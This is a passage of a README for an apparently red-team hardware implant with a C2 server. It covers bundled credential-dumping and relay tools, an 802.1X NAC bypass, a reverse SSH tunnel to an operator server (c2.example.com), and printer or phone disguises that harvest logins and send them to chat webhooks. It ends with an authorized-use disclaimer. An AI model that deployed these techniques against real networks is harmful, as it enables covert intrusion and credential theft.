adjacent subnets |\n| Server Logs | Global server log viewer with filtering (accessible without active agent) |\n\n**Integrated Offensive Tools:**\n\n| Tool | Purpose | Integration |\n|------|---------|-------------|\n| [Impacket](https://github.com/fortra/impacket) | PsExec, WMIExec, SMBExec, SecretsDump, Kerberoast, AS-REP Roast, DCSync | GUI menu with credential input |\n| [NetExec (nxc)](https://github.com/Pennyw0rth/NetExec) | Host enumeration, AV/EDR detection, credential spraying, custom modules | Pivot view integration + standalone |\n| [Lsassy](https://github.com/Hackndo/lsassy) | Remote LSASS credential dumping | Via Impacket menu |\n| [RelayKing](https://github.com/depthsecurity/RelayKing-Depth) | NTLM relay vulnerability auditing (SMB/LDAP/HTTP/MSSQL) | Dedicated dialog with domain/target config |\n| [Responder](https://github.com/lgandx/Responder) | LLMNR/NBT-NS/mDNS poisoning for credential capture | Interface selection, toggle options |\n\n**AV/EDR Enumeration:**\n\nThe server includes a built-in AV/EDR scanner based on\n[NXC's enum_av module](https://github.com/Pennyw0rth/NetExec/blob/main/nxc/modules/enum_av.py)\nthat remotely detects 35 endpoint protection products via Impacket (DCERPC\nLsarLookupNames, IPC$ pipe enumeration, SCM service queries). The beacon also\nhas a local `avenum` command that checks running services, WMI SecurityCenter2,\nfirewall rules, AMSI, and AppLocker on the compromised host.\n\n**Encryption:**\n\nAll beacon communication uses **AES-256-GCM** authenticated encryption. Keys\ncan be auto-generated, manually set (base64), or derived from the callback URL\nvia SHA-256. The server uses the `cryptography` library while the beacon calls\nOpenSSL via `ctypes`. Both implementations interoperate seamlessly.\n\n#### Quick Start (Native)\n\n```bash\n# Linux / macOS\ncd software/c2\n./start_server.sh\n\n# Windows (PowerShell)\ncd software\\c2\n.\\start_server.ps1\n```\n\nThe launcher checks and installs dependencies automatically (`flask`,\n`cryptography`, `impacket`, `ldap3`, `netexec`, `lsassy`), then prompts for\nhost, port, encryption key, and operator token.\n\n#### Quick Start (Docker)\n\n```bash\ncd software/c2\n\n# Build and run\ndocker compose up -d\n\n# With custom config\nRACCOON_PORT=443 RACCOON_SSL=1 docker compose up -d\n\n# View logs\ndocker compose logs -f raccoon-c2\n```\n\nThe Docker image (`python:3.12-slim`) includes all tools pre-installed:\nImpacket, NetExec, Lsassy, RelayKing, and Responder. It runs with\n`network_mode: host` and `NET_RAW`/`NET_ADMIN` capabilities (required for\nResponder).\n\n| Environment Variable | Default | Description |\n|---------------------|---------|-------------|\n| `RACCOON_PORT` | `8443` | Listen port |\n| `RACCOON_HOST` | `0.0.0.0` | Listen address |\n| `RACCOON_KEY` | (none) | AES-256-GCM key (base64) |\n| `RACCOON_DERIVE_KEY` | (none) | Derive key from string via SHA-256 |\n| `RACCOON_TOKEN` | (random) | Operator token for GUI auth |\n| `RACCOON_SSL` | (none) | Enable TLS (set to `1`) |\n| `RACCOON_CERT` | (none) | Path to TLS certificate |\n| `RACCOON_CERTKEY` | (none) | Path to TLS private key |\n\n#### C2 GUI Demo\n\n\u003cp align=\"center\"\u003e\n  \u003cimg src=\"docs/screenshots/01_dashboard.png\" alt=\"Raccoon C2 Dashboard\" width=\"800\"\u003e\n\u003c/p\u003e\n\n\u003cp align=\"center\"\u003e\u003cem\u003eOperator dashboard with live agent sidebar and raccoon wallpaper\u003c/em\u003e\u003c/p\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003e\u003cstrong\u003eMore Screenshots\u003c/strong\u003e (click to expand)\u003c/summary\u003e\n\u003cbr\u003e\n\n| Feature | Screenshot |\n|---------|------------|\n| Interactive Terminal | \u003cimg src=\"docs/screenshots/04_terminal.png\" width=\"400\"\u003e |\n| File Browser | \u003cimg src=\"docs/screenshots/05_file_browser.png\" width=\"400\"\u003e |\n| Process Viewer (AV/EDR detection) | \u003cimg src=\"docs/screenshots/06_procs.png\" width=\"400\"\u003e |\n| Pivot Map | \u003cimg src=\"docs/screenshots/09_pivot_map.png\" width=\"400\"\u003e |\n| Beacon Generator Pipeline | \u003cimg src=\"docs/screenshots/03_pipeline_flow.png\" width=\"400\"\u003e |\n| Malleable C2 Profile Editor | \u003cimg src=\"docs/screenshots/10_profile_editor.png\" width=\"400\"\u003e |\n| Impacket Tools | \u003cimg src=\"docs/screenshots/15_impacket.png\" width=\"400\"\u003e |\n| Netstat \u0026 Connection Assessment | \u003cimg src=\"docs/screenshots/08_netstat.png\" width=\"400\"\u003e |\n| Loot Vault | \u003cimg src=\"docs/screenshots/19_loot_vault.png\" width=\"400\"\u003e |\n| Server Log | \u003cimg src=\"docs/screenshots/20_server_log.png\" width=\"400\"\u003e |\n\n\u003c/details\u003e\n\n\u003e **Full walkthrough:** [`docs/C2_DEMO.md`](docs/C2_DEMO.md) — 20 screenshots covering every feature, command reference, and a full attack flow sequence diagram.\n\n### 802.1X NAC Bypass\n\nThe Raccoon Implant can bypass port-based Network Access Control (802.1X) by\nsitting inline between an authenticated device and the switch.\n\n```mermaid\ngraph LR\n    SW[\"Switch\u003cbr/\u003e(802.1X enforced)\"] --\u003e|\"eth0\"| PI[\"Raccoon Implant\u003cbr/\u003ebr0 bridge\"]\n    PI --\u003e|\"eth1\"| DEV[\"Authenticated\u003cbr/\u003eDevice\"]\n\n    subgraph \"Phase 1: EAPOL forwarding\"\n        direction LR\n        DEV -.-\u003e|\"EAP frames\"| PI -.-\u003e|\"forwarded\"| SW\n    end\n\n    subgraph \"Phase 3: active bypass\"\n        direction LR\n        PI --\u003e|\"victim MAC+IP\"| SW\n    end\n\n    style PI fill:#c44,stroke:#333,color:#fff\n    style SW fill:#4a9,stroke:#333,color:#fff\n    style DEV fill:#47a,stroke:#333,color:#fff\n```\n\n**How it works:**\n\n| Phase | Action | Tools |\n|-------|--------|-------|\n| 1. EAPOL forwarding | Bridge passes 802.1X auth frames so the victim stays authenticated | `ebtables`, `group_fwd_mask` |\n| 2. Discovery | Passive ARP sniffing to learn victim MAC/IP and gateway MAC/IP | `tcpdump` |\n| 3. Active bypass | Rewrite implant's outgoing traffic to use victim's MAC+IP | `ebtables`, `iptables`, `arptables` |\n\nThe victim's real traffic continues flowing through the bridge untouched.\n\n**Enable in config:**\n\n```yaml\nnac_bypass:\n  enabled: true\n  discovery_timeout: 120\n```\n\n**Or run standalone:**\n\n```bash\nsudo ./software/setup/nac_bypass.sh setup    # full automated bypass\nsudo ./software/setup/nac_bypass.sh status   # show discovered hosts + rules\nsudo ./software/setup/nac_bypass.sh reset    # tear down everything\n```\n\n### Remote Access (SSH + VNC)\n\nThe implant establishes a **reverse SSH tunnel** back to an operator-controlled\nserver, giving persistent shell access even behind NAT/firewalls. An optional\n**VNC server** (headless) provides a graphical desktop, accessible only through\nthe SSH tunnel.\n\n```mermaid\ngraph LR\n    OP[\"Operator Machine\"] --\u003e|\"ssh -p 2222\u003cbr/\u003eroot@localhost\"| SRV[\"Operator SSH Server\u003cbr/\u003e(public IP)\"]\n    SRV --\u003e|\"reverse tunnel\u003cbr/\u003eport 2222\"| PI[\"Raccoon Implant\u003cbr/\u003e(target network)\"]\n\n    PI -.-\u003e|\"autossh -R 2222:127.0.0.1:22\"| SRV\n\n    subgraph \"Implant (localhost only)\"\n        SSHD[\"sshd :22\"]\n        VNC[\"x11vnc :5900\"]\n    end\n\n    PI --- SSHD\n    PI --- VNC\n\n    style OP fill:#47a,stroke:#333,color:#fff\n    style SRV fill:#4a9,stroke:#333,color:#fff\n    style PI fill:#c44,stroke:#333,color:#fff\n```\n\n**Install:**\n\n```bash\nsudo ./software/setup/remote_access.sh install     # install + configure\nsudo ./software/setup/remote_access.sh show-pubkey  # print key for operator server\nsudo ./software/setup/remote_access.sh status       # check services\n```\n\n**Access from operator machine:**\n\n```bash\n# Shell access (on the operator SSH server):\nssh -p 2222 root@localhost\n\n# VNC access (forward VNC port through the tunnel):\nssh -p 2222 -L 5900:127.0.0.1:5900 root@localhost\n# then connect VNC viewer to localhost:5900\n```\n\nBoth features are independently configurable in `configs/raccoon.yaml`:\n\n```yaml\nremote_access:\n  ssh:\n    ssh_enabled: true\n    ssh_remote_host: \"c2.example.com\"  # operator server\n    ssh_remote_user: \"raccoon\"\n    ssh_tunnel_port: 2222              # port on operator server\n    ssh_key_type: \"ed25519\"            # auto-generated keypair\n  vnc:\n    vnc_enabled: false                 # enable for graphical access\n    vnc_port: 5900\n    vnc_password: \"raccoon\"\n    vnc_resolution: \"1024x768\"\n```\n\n### Configuration\n\nEdit [`configs/raccoon.yaml`](configs/raccoon.yaml) before deployment.\n\n#### Cover Identity\n\nSet `device_mode` at the top of `raccoon.yaml` to choose the device the implant\nimpersonates. This single flag controls hostname, MAC prefix, and all protocol\nemulation. The cover sections below provide the detailed device specs.\n\n```yaml\n# Top of raccoon.yaml. This single switch controls the entire setup.\ndevice_mode: \"cisco_phone\"    # or \"hp_printer\"\n```\n\n| Mode | Value | Best for | Emulated Services |\n|------|-------|----------|-------------------|\n| Cisco IP Phone 7960 | `cisco_phone` | VoIP/UC environments, conference rooms | HTTP login page, SIP (INVITE/OPTIONS/REGISTER), RTP echo |\n| HP LaserJet MFP M478 | `hp_printer` | General offices with network printers | HP EWS login, JetDirect/PJL, LPD, IPP/CUPS, SNMP (BER), Telnet |\n\nBoth covers include:\n- **Credential harvesting** that captures login attempts and forwards them via notifications\n- **Browser fingerprinting** using JavaScript-based recon covering Canvas, WebGL/GPU, WebRTC local IP, screen resolution, timezone, installed plugins, and hardware concurrency\n- **Realistic device metadata** with MAC addresses from real vendor OUI ranges and proper protocol responses\n\nTune service ports per cover in the same file:\n\n```yaml\n  cisco_phone:\n    http_port: 80\n    sip_port: 5060\n    rtp_port: 10000\n\n  hp_printer:\n    http_port: 80\n    pjl_port: 9100\n    lpd_port: 515\n    ipp_port: 631\n    snmp_port: 161\n    telnet_port: 23\n```\n\n#### Notifications (Slack / Discord / Teams)\n\nCaptured credentials, browser fingerprints, and system events can be pushed to one or more webhook channels in real time.\n\n```yaml\nnotifications:\n  enabled: true\n  slack:\n    enabled: true\n    webhook_url: \"https://hooks.slack.com/services/T.../B.../xxx\"\n  discord:\n    enabled: true\n    webhook_url: \"https://discord.com/api/webhooks/123/abc\"\n  teams:\n    enabled: true\n    webhook_url: \"https://your-tenant.webhook.office.com/webhookb2/...\"\n```\n\n**Setting up Microsoft Teams webhooks:**\n\n1. Open Microsoft Teams → select or create a channel for alerts\n2. Click the **`...`** menu on the channel → **Connectors** (or **Manage channel** → **Connectors**)\n3. Search for **Incoming Webhook** → click **Configure**\n4. Give it a name (e.g. \"Raccoon Implant\") and optionally upload an icon\n5. Click **Create** → copy the webhook URL\n6. Paste the URL into `notifications.teams.webhook_url` in `raccoon.yaml`\n\n\u003e **Note:** Microsoft is migrating connectors to the Workflows app. If Incoming Webhook is unavailable, create a **Power Automate flow** instead:\n\u003e 1. Go to the channel → **`...`** → **Workflows**\n\u003e 2. Choose \"Post to a channel when a webhook request is received\"\n\u003e 3. Copy the generated HTTP POST URL\n\u003e 4. Use that URL as `webhook_url`. The Raccoon Implant sends Adaptive Cards which both methods support.\n\nAll three platforms can be enabled simultaneously. Each credential capture, fingerprint, and health event is dispatched to all enabled channels.\n\n#### Test Server\n\nTest the cover identities locally without deploying to the Pi:\n\n```bash\n# Start both covers (non-privileged ports)\npython -m software.tests.test_server\n\n# Cisco only\npython -m software.tests.test_server --cover cisco\n\n# HP Printer only\npython -m software.tests.test_server --cover printer\n\n# With Teams notifications\npython -m software.tests.test_server --cover printer \\\n  --teams-webhook \"https://your-tenant.webhook.office.com/webhookb2/...\"\n\n# With multiple notification channels\npython -m software.tests.test_server --cover both \\\n  --slack-webhook \"https://hooks.slack.com/services/...\" \\\n  --discord-webhook \"https://discord.com/api/webhooks/...\" \\\n  --teams-webhook \"https://your-tenant.webhook.office.com/...\"\n```\n\nThe test server uses non-privileged ports (8080/8081 for HTTP, 15060 for SIP, etc.) so no root is needed. Endpoints and test commands are printed on startup.\n\nOn Windows, set `PYTHONIOENCODING=utf-8` if box-drawing characters fail:\n\n```powershell\n$env:PYTHONIOENCODING = \"utf-8\"\npython -m software.tests.test_server --cover both\n```\n\n## Project Structure\n\n```mermaid\ngraph LR\n    subgraph hardware\n        KICAD[\"kicad/\u003cbr/\u003eSchematic + PCB\"]\n        GERBER[\"gerber/\u003cbr/\u003eManufacturing\"]\n        BOM[\"bom.csv\"]\n    end\n\n    subgraph software\n        MAIN_PY[\"main.py\"]\n        subgraph sniffer\n            BTAP[\"bridge_tap.py\"]\n            PCAPW[\"pcap_writer.py\"]\n        end\n        subgraph cover\n            CISCO_PY[\"cisco_phone.py\"]\n            HP_PY[\"hp_printer.py\"]\n        end\n        subgraph c2\n            SLIVER_PY[\"sliver.py\"]\n            BEACON_PY[\"beacon.py\"]\n            BEACON_SA[\"beacon_standalone.py\"]\n            EXFIL_PY[\"exfil.py\"]\n            SERVER_PY[\"server.py\u003cbr/\u003eTeam Server + GUI\"]\n            DOCKER[\"Dockerfile\u003cbr/\u003e+ docker-compose.yml\"]\n        end\n        NAC_PY[\"nac_bypass.py\"]\n        subgraph setup\n            BOOT[\"bootstrap.sh\"]\n            BRCFG[\"configure_bridge.sh\"]\n            NAC_SH[\"nac_bypass.sh\"]\n            REMOTE[\"remote_access.sh\"]\n            PERSIST[\"persist.sh\"]\n            DEPLOY[\"deploy_sliver.sh\"]\n        end\n    end\n\n    subgraph services\n        SVC_IMP[\"raccoon-implant.service\"]\n        SVC_BCN[\"raccoon-beacon.service\"]\n        SVC_WD[\"raccoon-watchdog.service\"]\n        SVC_SSH[\"raccoon-ssh-tunnel.service\"]\n        SVC_VNC[\"raccoon-vnc.service\"]\n        INSTALL[\"install.sh\"]\n    end\n\n    subgraph configs\n        YAML[\"raccoon.yaml\"]\n    end\n```\n\n## Legal\n\nThis tool is intended for use in **authorized red team engagements only**.\nUnauthorized use against networks you do not own or have explicit written\npermission to test is illegal. The authors assume no liability for misuse.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fbenjitrapp%2Ftrashpandapaws","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fbenjitrapp%2Ftrashpandapaws","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fbenjitrapp%2Ftrashpandapaws/lists"}